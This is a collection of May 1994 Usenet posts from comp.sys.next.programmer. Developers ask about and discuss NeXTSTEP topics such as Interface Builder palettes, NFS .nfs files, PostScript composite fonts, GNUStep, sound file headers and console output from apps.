NeXTMail:ernest@pundit.cithep.caltech.edu "...and ourselves, your servants for Jesus' sake." - II Cor 4:5b #import <std/disclaimer.h>
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: SUMMARY: DPS issues Date: 17 May 1994 12:40:06 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405170858.AA00656@flexus> LS, >>>>> Marcel Weiher writes >Resolution information: Why, of course there is resolution information before >show time (sic)! Just do ``matrix currentmatrix'', and there you have it (at >scalefont/makefont/setfont/selectfont or show or BuildChar time). The last >opportunity would enable me to export fonts to any application, by putting a >stub inside the ``outline'' definition, but can not be used because >communication is disabled. It's available, but not complete/true. If your coordinate system is scaled (or rotated) subsequently, this will (effectively) be a new resolution, at least as far as the font-cache is concerned. I'll leave it to Scott to diagnose foot-in-mout-disease if necessary. <<<<< (Red face.) Of course, I should have considered all the implications rather than just my limited purpose. Scott was absolutely right (of course)! I don't know what foot-in-mouth means. Sorry for the confusion (again), Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again) PS: I just hope that the absense of reactions to some of the other stuff I wrote is a *good* sign. :-(
From: don@darth.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Calendar Palette? Date: 17 May 1994 18:12:46 GMT Distribution: world Message-ID: <2rb1eu$fqv@bones.et.byu.edu> References: <2r90u1$k4d@senator-bedfellow.MIT.EDU> Eric M Hermanson writes ) Is there an IB palette that exists which is similar (or identical) to the ) full 30-day calendar found in Preferences.app? MiscKit already has a ) MiscCLockView, but as far as I know it shows only the current date, not ) the entire month. The next release of the MiscKit, due out any time now (TM) has it. I've been trying to get it out for weeks, and I think I'll finally make it this week. Look for it! :-) We now have MiscClockView _and_ MiscCalendarView! -- Later, -Don Yacktman Don_Yacktman@byu.edu
Newsgroups: comp.sys.next.programmer,comp.unix.programmer From: kramer@bnr.ca (Guenther Kramer) Subject: Re: .nfs???? files added as I try to delete a directory Sender: news@bcarh54a.bnr.ca (ZOONEWS News) Message-ID: <1994May17.185910.796@bcarh54a.bnr.ca> Date: Tue, 17 May 1994 18:59:10 GMT References: <TYNOR.94May16164346@twratl.atlanta.twr.com> <PETE.94May17130208@luggage.tecc.co.uk> Organization: Bell-Northern Research Ltd. In article <PETE.94May17130208@luggage.tecc.co.uk>, Pete Bentley <pete@tecc.co.uk> wrote: >>>>>> In article <TYNOR.94May16164346@twratl.atlanta.twr.com>, tynor@atlanta.twr.com (Steve Tynor) writes: >>> On NeXTSTEP, the NFS daemon seems to be adding .nfs???? files to the >>> directory as we're reading it > >These should only be created when a process unlinks a file on the >server while another process (on a client) still has it open (or might >have it open, presumably --- I'm not sure quite how this fits into >NFS's "statelessness"). This is to try and emulate the behaviour of >local filesystems. On a local filesystem if a process removes the >last link to a file the file has no names, but may still exist if >another process has it open (ie the reference count in the kernel's >copy of the inode is non-zero). That won't work across remote >filesystems, so the NFS daemons keep a 'fake' link to the file to keep >it around for other clients... > >>> We've never seen this sort of behavior with any of our other NFS >>> clients. Is this a NeXT specific thing? > >Might be a bug/feature where the server thinks the files is open when >it isn't... as NFS is stateless, I dunno how the server can be sure a >file is not open, so may feel obliged to create the .nfs file when it >is unlinked... Actually, the NFS servers (nfsd) don't know what files are open. This silly rename stuff is handled by the NFS clients (NeXTSTEP in this case). The NeXT thinks that someone has these files open, so they are being renamed in an attempt to preserve UFS semantics. Do these files appear all the time? Are you sure the files are being closed before they are deleted? -- Guenther Kramer Bell-Northern Research, Ottawa, Canada. Internet: kramer@bnr.ca "I am made from the dust of the stars #include <std.disclaimer.h> And the oceans flow in my veins" - Rush
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Re: Programming in Edit ? : Page up/down on a CommandKey References: <2r0hpu$h7h@hermes.uni-konstanz.de> Organization: German NeXT User Group, Oldenburg. Date: Tue, 17 May 1994 06:18:15 GMT Message-ID: <1994May17.061815.11043@proximus.north.de> In article <2r0hpu$h7h@hermes.uni-konstanz.de>, Erland Wittkoetter <erland@spock.physik.uni-konstanz.de> wrote: >Hello > >Unfortunately I miss one ability in Edit. On PC's we have extra >page up / page down keys which make it pretty fast if you prefer to >work only with your keyboard. I really miss this ability. But maybe >there is a way to implement this also in the current version >of Edit. Is there any expert out there, who has already find out >how to do this. [...] Ctrl-V works in "emacs mode". Unfortunately ESC-V does not. Gerhard.
From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Re: Calendar Palette? Date: 17 May 1994 12:31:44 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2radfg$g2f@gpo.gb.swissbank.com> References: <2r90u1$k4d@senator-bedfellow.MIT.EDU> Keywords: palette, calendar In article <2r90u1$k4d@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > Is there an IB palette that exists which is similar (or identical) to the > full 30-day calendar found in Preferences.app? MiscKit already has a > MiscCLockView, but as far as I know it shows only the current date, not > the entire month. > > If this type of palette doesn't exist, can anyone point me to PD code for > a similar calendar, or some utility that uses the text gotten from > the UNIX "cal" command in a graphical form? > > Thanks, > Eric There used to be a CalendarView type object in Next Examples (IndexingKit/ToDoList) which you should be able to palettize quite easily. It doesn't look as if it's bundled with 3.2. I've got a copy if you can't find it. Also there used to be some third party calendar palettes (ISCalender ?, ISTime ?) which for some reason are no longer available. Kevin Swiss Bank Corp., London
From: thomsen@spf.trw.com (Mark Thomsen) Newsgroups: comp.sys.next.programmer Subject: OO Metrics (Was "Counting lines of code") Date: 14 May 1994 03:54:10 GMT Organization: TRW Systems Development Division Message-ID: <2r1i12$d0i@deneva.sdd.trw.com> The line of code has been the basis for measuring how much software there is since before most of us were born. The standard definition appears to have settled down to: a line of code is any line in a source file that affects the compiler output This excludes comments, blanks, or things that are used by other programs prior to the compiler. Lots of issues get into LOCing: preprocessor and macro expansions - before or after? compiler directives (most say yes) the single statement that could be on 1 or more lines multiple statements on one line lines that are close brackets lines in definition and implementation files that are identical like method definitions in .h and .m files include files source that you got for reuse and did not touch source that you got for reuse and touched slightly and so on. I have found that LOC, together with all the modifying factors I used to use (talent level, program complexity, stress of performance, stress of robustness, formal vs. informal requirements, volatility of requirements, ...) has not been accurate in the NS environment. Like, it takes time to define and refine an IB- generated .nib, but there is no LOC to really reflect the effort. Same with other tools where effort is taken to create a table or other data structure that is used by off-the-shelf co-programs to define your application. (E.g., DBModeler, SchemaE). I have started to change to measuring NS projects in other ways. If you are interested in this topic, I will be giving a talk at NS EXPO that includes what I (and others) are learning. Shortly thereafter I plan to publish a white paper on the topic ... which I will send to interested parties. For the other points posted that tickled me: no, software developers do not get paid by the LOC anywhere I have visited or heard of --- if they did, imagine the gamesmanship in expanding the LOC for the same programs! but there are "metric professionals" who make their living on the subject, from books and papers to consulting and defining adjuncts to other software methodologies if a metric cannot be captured by a simple program/script/method that can be run with minimal human effort, and that can be explained to others within a few minutes, the metric is almost useless in the practical environment a really important metric, perhaps as widely used as LOC now, is the number of documented errors in a program --- rate of errors being reported vs. the distribution vs. the rate of errors being fixed vs. the effort to fix --- the Knuth paper on errors in the TeX and Metafont programs (I found in his Literate Programming text) is pretty darn good place to learn the value of this if you don't already do it the software engineering institute (at CMU) is pretty hip about metrics and there seems to be a rising tide that the quality & continuous process improvement movement influences to add metrics to all professional programming organizations - measure, analyze, and improve Mark R. Thomsen Gemstone Systems, Inc.
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: *Chinese Font, EUC and other tricky things* Message-ID: <1994May17.214406.1944@stone.com> Keywords: KaiSu Composite Fonts Sender: andrew@stone.com Organization: Stone Design Corp Date: Tue, 17 May 1994 21:44:06 GMT Have you checked out the Chinese PostScript font, KaiSu? cs.orst.edu:pub/next/fonts/KaiSu.pkg_0.7.tar It's pretty cool, and just "works" in NeXT's Text Object (Input is another issue that the authors are addressing). PostScript Level 2 was extended to handle composite fonts and thus the Extended Unix Code (EUC). Has anyone figured out how to draw multiple byte character strings without the Text Object? PSshow() is expecting a char * not a unsigned int *, so that's one gotcha. Anyway, if you've got some tips or snippets, email me - motivation: adding a bundle to 3DReality to render Chinese characters. -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
Newsgroups: comp.sys.next.programmer From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: GNUStep mailing list address? In-Reply-To: pfkeb@kaon.SLAC.Stanford.EDU's message of Mon, 16 May 1994 14:29:55 GMT Message-ID: <PFKEB.94May17204635@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <1994May11.233711.23056@il.us.swissbank.com> <PFKEB.94May16072957@kaon.SLAC.Stanford.EDU> Date: Wed, 18 May 1994 03:46:34 GMT Since I posted the GNUStep mailing list address, there's been a number of people wanting to subscribe and know more about it. So I follow up my own post with more information. My view is that GNUStep is to OpenStep as GhostScript is to PostScript, i.e. an unlicensed and freely available version of the real thing. The GNUStep mailing list is for people interested in such a project and in particular for people interested in making it happen. To subscribe send mail to gnustep-l-request@netcom.com or keith@netcom.com In my view, the status of this project is as follows. The starting point is a library developed here at SLAC called objcX. It is a class library that emulates the NeXTSTEP appkit but uses Motif widgets. This library is available as alpha release via anonymous ftp. I believe it is currently sufficient to port many NeXTSTEP applications to X/Motif. However, since it contains references to Motif, which is not free software, it can not be GNUStep. On the other hand, 90% of the methods implemented in the objcX library make no reference to Motif, thus they are pure appkit emulation and thus available for GNUStep. We are doing this work at SLAC in order to port an application that was developed under NeXTSTEP to X-Windows for my colleagues at SLAC, at other DoE laboratories, and others who don't have NeXTSTEP yet want the application. The application is HippoDraw which is available at the NeXT anonymous ftp archive sites. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.sys.next.programmer From: derek@nosloc.com (Derek Collison) Subject: System V Shared Memory Emulation? Message-ID: <Cpz9CL.Dt1@nosloc.com> Sender: derek@nosloc.com (Derek Collison) Organization: Nosloc Software Technologies Date: Wed, 18 May 1994 02:53:08 GMT I am looking for system V shared memory emulation software. Does anyone have any information on the above subject? Thanks, =derek -- Derek Collison <---> derek@nosloc.com Nosloc Software Technologies NeXTSTEP Consulting and Software Design
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Calendar Palette? Date: 18 May 1994 08:27:27 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May18092727@steffi.demon.co.uk> References: <2r90u1$k4d@senator-bedfellow.MIT.EDU> <2radfg$g2f@gpo.gb.swissbank.com> To: patersk@gb.swissbank.com (Kevin Paterson ) In-reply-to: patersk@gb.swissbank.com's message of 17 May 1994 12:31:44 GMT <patersk@gb.swissbank.com> writes: >There used to be a CalendarView type object in Next Examples >(IndexingKit/ToDoList) which you should be able to palettize quite easily. >It doesn't look as if it's bundled with 3.2. I've got a copy if you can't >find it. >Also there used to be some third party calendar palettes (ISCalender ?, >ISTime ?) which for some reason are no longer available. >Kevin >Swiss Bank Corp., London There was also and still is Calendar.palette by Jim Million the author of the ClockPalette too... this was sometimes hard to get your hands on but should be at most good ftp sites... -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: M.Crawford@dcs.shef.ac.uk Newsgroups: comp.sys.next.programmer Subject: SNDReadHeader Date: 18 May 1994 09:29:27 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <940518152433.2346AACUL.malc@jeeves> I am right in thinking that SNDReadHeader(soundFileFD, &soundStruct); reads the *whole* of the sound header, and that the very next thing that will be read from the soundFileFD (allowing for width of sample data) will be the first sample of the first channel of the sound data... amn't I?! Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Help launching an application on a remote host, please! Message-ID: <1994May18.095826.8329@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 18 May 1994 09:58:26 GMT Hello, I would like to tell another host's Workspace Manager to launch an application. The code I am trying to use is: port_t wmPort = NXPortFromName( NX_WORKSPACEREQUEST, remoteHost); if (wmPort != PORT_NULL) { id mySpeaker = [[Speaker alloc] init]; [mySpeaker setSendPort:wmPort]; started = ![mySpeaker selectorRPC:"launchApplication:" paramTypes:"c", remoteHostAppPath]; [mySpeaker free]; port_deallocate(task_self(), wmPort); } if (!started) { ... } But this does not work! I can use [mySpeaker openFile:remoteHostAppPath ok:&someFlag] but this is bad because the a Terminal window opens if remoteHostAppPath is the path of a shell script. I wonder why I cannot use this method. The result of the call is no error but the application is not launched. Perhaps I am not talking to the right object (I assume that this is similar to [[Application workspace] launch...] but on the remote host). If this is the case, how can I get the object which understand NXWorkspaceRequestProtocol? Of course Public Window Server is enabled for this test, but the app does not do any output, so I would like to able to launch it without having Public Window Server enabled. I hope that one does not need to enable it just to talk to the Workspace! Thanks for any help, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: ief@netnews.jhuapl.edu (Ian Feldberg) Newsgroups: comp.sys.next.programmer Subject: Using printf and fopen in Objective-C? Date: 18 May 1994 11:58:58 -0400 Organization: Johns Hopkins University's Applied Physics Lab Message-ID: <2rde02$79e@aplcomm.jhuapl.edu> This is actually 2 questions. 1) Why does Objective-C NOT bring up a terminal session when I make a call to printf from within a chunk of code? How do I get my program to write to stdout, without running in debug mode or running from a terminal session? 2) Since Objective-C does not know anything about my current directory, do I always have to use complete pathnames when accessing files? Thanks in advance, - Ian (Ian_Feldberg@jhuapl.edu)
From: Charlesa@learned.co.uk Newsgroups: comp.sys.next.programmer,comp.infosystems.wais Subject: Re: Trying to compile freeWAIS-0.3 on NeXT 3.2 Date: Wed, 18 May 94 17:30:41 BST Organization: EUnet GB Message-ID: <2rdfok$l5l@marble.Britain.EU.net> References: <1994May16.225033.7074@news.csuohio.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm just starting down this path. I haven't had much luck either. You after the client or the server portion? Black or white HW? C. charles_ashley@learned.co.uk In article <1994May16.225033.7074@news.csuohio.edu>, <cowboy@trans> writes: > > Greetings: I am trying to get freeWAIS-0.3 to compile on my NeXTSTEP > workstation running OS 3.2, but I am having a miserable time, I am sorry > to say. Can anyone provide advice or diffs, etc.? I would be most > grateful. > > TIA, > Joe > -- > > | Joe Rosenfeld cowboy@trans.csuohio.edu > | Automation Librarian (216) 687-6881 [FAX] > | CSU Law Library trans.csuohio.edu [ANON FTP] > | NeXTMail and MIME ok
From: barmar@think.com (Barry Margolin) Newsgroups: comp.sys.next.programmer,comp.unix.programmer Subject: Re: .nfs???? files added as I try to delete a directory Date: 18 May 1994 17:19:06 GMT Organization: Thinking Machines Corporation, Cambridge MA, USA Message-ID: <2rdimaINNsu8@early-bird.think.com> References: <TYNOR.94May16164346@twratl.atlanta.twr.com> <PETE.94May17130208@luggage.tecc.co.uk> <1994May17.123436.4304@unipalm.co.uk> In article <1994May17.123436.4304@unipalm.co.uk> simonr@unipalm.co.uk (Simon Roberts) writes: >pete@tecc.co.uk (Pete Bentley) writes: >>These should only be created when a process unlinks a file on the >>server while another process (on a client) still has it open (or might >>have it open, presumably --- I'm not sure quite how this fits into >>NFS's "statelessness"). > >It doesn't! Simple answer to this side issue is that NFS may be meant >to be stateless, but this aspect, and some others such as PCNFSD, have >to break the ideal (how do you have a lock with no state???!!!) Note that "stateless" in NFS only refers to the server. The .nfs???? files are created by the *client*, which must be stateful. The open() creates a file descriptor that persists, and refers to the file handle on the server. Thus, there's no "might" involved -- the client knows for sure whether or not it has a file open. Note also that .nfs???? files are only created when a file is deleted by the *same client system* that opened it. If the file is deleted on the server, or by a different client, the file will be deleted for real and the client that has the file open will get "Stale file handle" errors when it tries to access the file. -- Barry Margolin System Manager, Thinking Machines Corp. barmar@think.com {uunet,harvard}!think!barmar
Newsgroups: comp.sys.next.programmer From: andy@research.canon.oz.au (Andy Newman) Subject: Re: ld -m bug? Message-ID: <Cpz6pL.1pJ@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <2r8iqa$fna@nunki.usc.edu> <2r9fda$dbm@nic-nac.CSU.net> Date: Wed, 18 May 1994 01:56:08 GMT eps@cs.sfsu.edu writes: >In article <2r8iqa$fna@nunki.usc.edu> taweil@nunki.usc.edu > (Ta-Wei Li) writes: >>and there is a duplicate symbols _raise which I guess is an undocumented >>function in NeXTSTEP. > >raise() is one of ANSI C's frivolous "contributions" > >int raise(int sig) >{ > return kill(getpid(), sig); >} > It is simple to implement raise() in a UNIX environment but on other systems, that don't implement the UNIX signal model raise() may be far more complicated. The whole world isn't running a UNIX kernel. >some clueless standards committee insists it be there. Well as there are minimal signals defined in the spec. it seems quite reasonable to define a way to send (a conforming ANSI C program) one of those signals to itself. I agree that some of what the ANSI committe did seems pretty clueless but this isn't really one of them. >The "problem" is not unique to NEXTSTEP. raise() is a reserved >name in all contemporary C programming environments. But only if the appropriate header (signal.h) is included. This, strictly conforming ANSI/ISO C program shows a bug in NeXT's implementation of ANSI C... $ cat x.c #include <stdlib.h> void raise(void) { } int main(void) { raise(); return EXIT_SUCCESS; } $ cc x.c ld: multiple definitions of symbol _raise /usr/tmp/cc000492-x.o definition of _raise in section (__TEXT,__text) /lib/libsys_s.a(raise.o) definition of absolute _raise (value 0x5002b08) $ In short...Brain damaged shared libraries. Just say NO! -- Andy Newman (andy@research.canon.oz.au)
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: *Chinese Font, EUC and other tricky things* In-Reply-To: andrew@stone.com's message of Tue, 17 May 1994 21:44:06 GMT Message-ID: <BYER.94May18115050@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <1994May17.214406.1944@stone.com> Date: Wed, 18 May 1994 18:50:50 GMT Andrew Stone writes: Andrew> PostScript Level 2 was extended to handle composite fonts and thus Andrew> the Extended Unix Code (EUC). Has anyone figured out how to draw Andrew> multiple byte character strings without the Text Object? PSshow() is Andrew> expecting a char * not a unsigned int *, so that's one gotcha. The (char *) is simply a container type, and the interpretation of the bytes depends on the current font. For anormal Type 1 font, they are indeed interpreted as individual bytes. If you've set the current font to be a 16-bit encoded font, then they will be interpreted in pairs (always big endian, of course). It should "just work". -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein) Newsgroups: comp.sys.next.programmer Subject: Q: pop-up list button takeValueFrom: Date: 18 May 1994 18:04:11 GMT Organization: WHU Koblenz Message-ID: <2rdlar$duf@obelix.WHU-Koblenz.de> Hello, how can I send from a pop-up list button a takeValueFrom: Message with InterfaceBuilder? Pop-ups are so great with the DBKit, but I need to send takeValueFrom:, so it updates the other UI Elements. Please answer by mail, as my news connection is a bit weird at the moment and tends to loose articles. I will post a summary of answers I receive. Thank you in advance, Wolfgang Roeckelein -- Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173 Wolfgang Roeckelein Fax: +49 261 6509 179 WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de Burgplatz 2 (NeXTmail ok) D-56179 Vallendar Germany
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: How to get TextFields to scroll as you type? Message-ID: <1994May18.182206.19236@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 18 May 1994 18:22:06 GMT I've noticed that TextFields in Next's apps will scroll along with you as you type beyond the edge of the field, but my TextFields don't. Is it just a setting somewhere? Monty
From: carl@next2.sun1.mcsr.olemiss.edu (Carl Frederickson) Newsgroups: comp.sys.next.programmer,comp.soft-sys.nextstep Subject: NeXT *.eps Mac *.eps Date: 18 May 1994 20:03:52 GMT Organization: Mississippi State University Distribution: inet Message-ID: <2rdsb8$qnb@Tut.MsState.Edu> Unfortunately the secretaries use Macs so all of my figures have to be ported there. When an eps file produced by nxyplot is opened in MSWord5.1 it will not print. An error about a full dictionary (even for a 9k eps file) comes back from the printer (LaserWriter). What is the problem? Thanks for any help, Carl Frederickson
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Just curious... Message-ID: <1994May18.151900.20314@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 18 May 1994 15:19:00 GMT Did you ever get these messages on your console? Do you knwo what they mean? Is IB full of debugging messages? May 18 16:24:29 petole InterfaceBuilder[15089]: from == (0.500000, 0.500000, -0.750000) : to== (0.000000, 0.000000, 0.000000) May 18 16:24:29 petole InterfaceBuilder[15089]: u == (0.485071, 0.485071, -0.727607) : xRotate == 33.690067 : yRotate == -33.690067 May 18 16:24:29 petole InterfaceBuilder[15089]: from == (-0.500000, -0.500000, -0.750000) : to== (0.000000, 0.000000, 1.000000) May 18 16:24:29 petole InterfaceBuilder[15089]: u == (-0.264906, -0.264906, -0.927173) : xRotate == -15.945395 : yRotate == 15.945395 Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Newsgroups: comp.sys.next.programmer Subject: NEXTSTEP/HP 3rd party demo apps? Date: 18 May 1994 20:58:08 GMT Organization: Yale University, Department of Computer Science, New Haven, CT Distribution: world Message-ID: <2rdvh0$9pn@babyblue.cs.yale.edu> We'll be featuring a demo of an HP 712/60 Gecko running NEXTSTEP/HP (Pre-release) at a NUG meeting Thursday evening. If any 3rd party vendors would like to send me some demos, I'd welcome the chance to show them off on this tres cool system. Thanks. -- Nathan Janette Voice: 203 432 5065 Systems Manager Fax: 203 432 3923 Brunger Lab Internet: nathan@laplace.csb.yale.edu Yale Univ Dept MB&B/HHMI "I'm a NeXTstep Man, I'm a NeXTcube Guy"
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Re: Programming in Edit ? : Page up/down on a CommandKey Date: 18 May 1994 16:36:56 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405182136.AA09615@cantina.lanl.gov> Gerhard Moeller wrote, in this thread, In article <2r0hpu$h7h@hermes.uni-konstanz.de>, Erland Wittkoetter <erland@spock.physik.uni-konstanz.de> wrote: >Unfortunately I miss one ability in Edit. On PC's we have extra >page up / page down keys which make it pretty fast if you prefer to >work only with your keyboard. I really miss this ability. But maybe >there is a way to implement this also in the current version >of Edit. Is there any expert out there, who has already find out >how to do this. [...] Ctrl-V works in "emacs mode". Unfortunately ESC-V does not. Interesting. For me, with "emacs mode" set, this does NOT work. However, this is a PC keyboard (NS/I) and I have installed the "NextUSA" keyboard (in the Preferences module with all the flags). This changes the CapsLock key into <ctl>, turns the <ctl> key into the left <alt>, and turns the <alt> keys into <cmd> keys, sort of like on the NeXT keyboard from which I came. SO, for some strange reason, what I WOULD have called <meta-v> (and thus "screen up" in real emacs) works as <ctl-v> in my Edit.app, "screen down". Most curious behavior! Dick Silbar WhistleSoft, Inc.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Using printf and fopen in Objective-C? Date: 18 May 1994 17:07:25 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May18180725@steffi.demon.co.uk> References: <2rde02$79e@aplcomm.jhuapl.edu> To: ief@netnews.jhuapl.edu (Ian Feldberg) In-reply-to: ief@netnews.jhuapl.edu's message of 18 May 1994 11:58:58 -0400 <ief@netnews.jhuapl.edu> writes: >This is actually 2 questions. > 1) Why does Objective-C NOT bring up a terminal session when I make a call > to printf from within a chunk of code? How do I get my program to > write to stdout, without running in debug mode or running from a > terminal session? "Apps" don't have a controlling terminal.. If you just want to use that for debugging then just use "stderr" then output will be on the console.... Workspace->Tools->Console > 2) Since Objective-C does not know anything about my current directory, > do I always have to use complete pathnames when accessing files? In general yes unless you are refering to files within your app wrapper (or within another bundle) which your application _can_ know about through NXBundle's methods... ie. you build the path at run time. You rarely ever use relative paths in NS apps. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: derekc@tss.com (Derek Collison) Newsgroups: comp.sys.next.programmer Subject: Shell environment variables in APP? Date: 18 May 1994 18:42:45 GMT Organization: Teknekron Software Systems, Inc. Distribution: all Message-ID: <2rdnj5$jat@newsflash.tss.com> I need to have environment variables set by .cshrc accessible to my app that I run from WorkSpace. Can someone point me in the right direction? =derek
Newsgroups: comp.sys.next.programmer From: mcgowan@helios.physics.utoronto.ca (Patrick McGowan) Subject: WANTED NEXTSTEP PROGRAMMER for summer student in Toronto Message-ID: <Cq0o37.Ly2@helios.physics.utoronto.ca> Sender: news@helios.physics.utoronto.ca (News Administrator) Organization: University of Toronto Physics/Astronomy/CITA Date: Wed, 18 May 1994 21:09:06 GMT The Geophysics Group of the Department of Physics, University of Toronto has a summer programming position available. Your task will involve the development of generic objects and optimization of existing objective-C code in the NEXTSTEP environment as directed by a project leader. You are self motivated and have at least one or two years experience in writing for NEXTSTEP (well acquainted with Objective-C and the Appkit/3Dkit). Ideally you have NEXTSTEP DEVELOPER at home and are able to work there independently. The position is available from now until September, with the possibility of part-time employment thereafter. Send resume and other particulars to: Patrick McGowan Department of Physics Univeristy of Toronto Toronto, Ontario M5S 1A7 or fax: (416) 978 3154 or e-mail: mcgowan@emerald.physics.utoronto.ca
From: ac1mdc@sunc.sheffield.ac.uk (M Crawford) Newsgroups: comp.sys.next.programmer Subject: Re: SNDReadHeader Date: 18 May 1994 22:34:40 GMT Organization: Academic Computing Services, Sheffield University Message-ID: <2re560$a56@hippo.shef.ac.uk> References: <940518152433.2346AACUL.malc@jeeves> M.Crawford@dcs.shef.ac.uk wrote: : I am right in thinking that : SNDReadHeader(soundFileFD, &soundStruct); : reads the *whole* of the sound header, and that the very next thing that will : be read from the soundFileFD (allowing for width of sample data) will be the : first sample of the first channel of the sound data... amn't I?! : No. The documentation is misleading to the extent that I'd say it was a bug. Many, many thanks to Arun Chandra for showing me this, and doing what I should have done a long time ago... Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: *Chinese Font, EUC and other tricky things* Message-ID: <1994May18.151947.626@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994May17.214406.1944@stone.com> Date: Wed, 18 May 1994 15:19:47 GMT In article <1994May17.214406.1944@stone.com> andrew@stone.com (Andrew Stone) writes: > Have you checked out the Chinese PostScript font, KaiSu? > > cs.orst.edu:pub/next/fonts/KaiSu.pkg_0.7.tar > > It's pretty cool, and just "works" in NeXT's Text Object (Input is another > issue that the authors are addressing). > > PostScript Level 2 was extended to handle composite fonts and thus the > Extended Unix Code (EUC). Has anyone figured out how to draw multiple byte > character strings without the Text Object? PSshow() is expecting a char * > not a unsigned int *, so that's one gotcha. > > Anyway, if you've got some tips or snippets, email me - motivation: adding > a bundle to 3DReality to render Chinese characters. > -- You can always tell the programmers who stay up late at night until it works - they follow up on their own posts! In Text.h, wchar is typedef'ed to unsigned char if KANJI is not defined; so the PS interpretator doesn't really care whether you pass it one or two-byte character strings, the font just does the right thing. Anyway, the KaiSu font in 3D is amazing - when I iron out a few issues, I'll stick it in the archives. -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Using printf and fopen in Objective-C? Message-ID: <1994May18.223603.6266@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <2rde02$79e@aplcomm.jhuapl.edu> Date: Wed, 18 May 1994 22:36:03 GMT In article <2rde02$79e@aplcomm.jhuapl.edu> ief@netnews.jhuapl.edu (Ian Feldberg) writes: > This is actually 2 questions. > > 1) Why does Objective-C NOT bring up a terminal session when I make a call > to printf from within a chunk of code? How do I get my program to > write to stdout, without running in debug mode or running from a > terminal session? printf goes to stdout, which is /dev/console. Bring up the Workspace console if you want to see the output (or launch the app from a Terminal window, when stdout will be the Terminal). > 2) Since Objective-C does not know anything about my current directory, > do I always have to use complete pathnames when accessing files? It starts apps in your home directory. However, it is a good idea to use fully qualified paths at all times. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
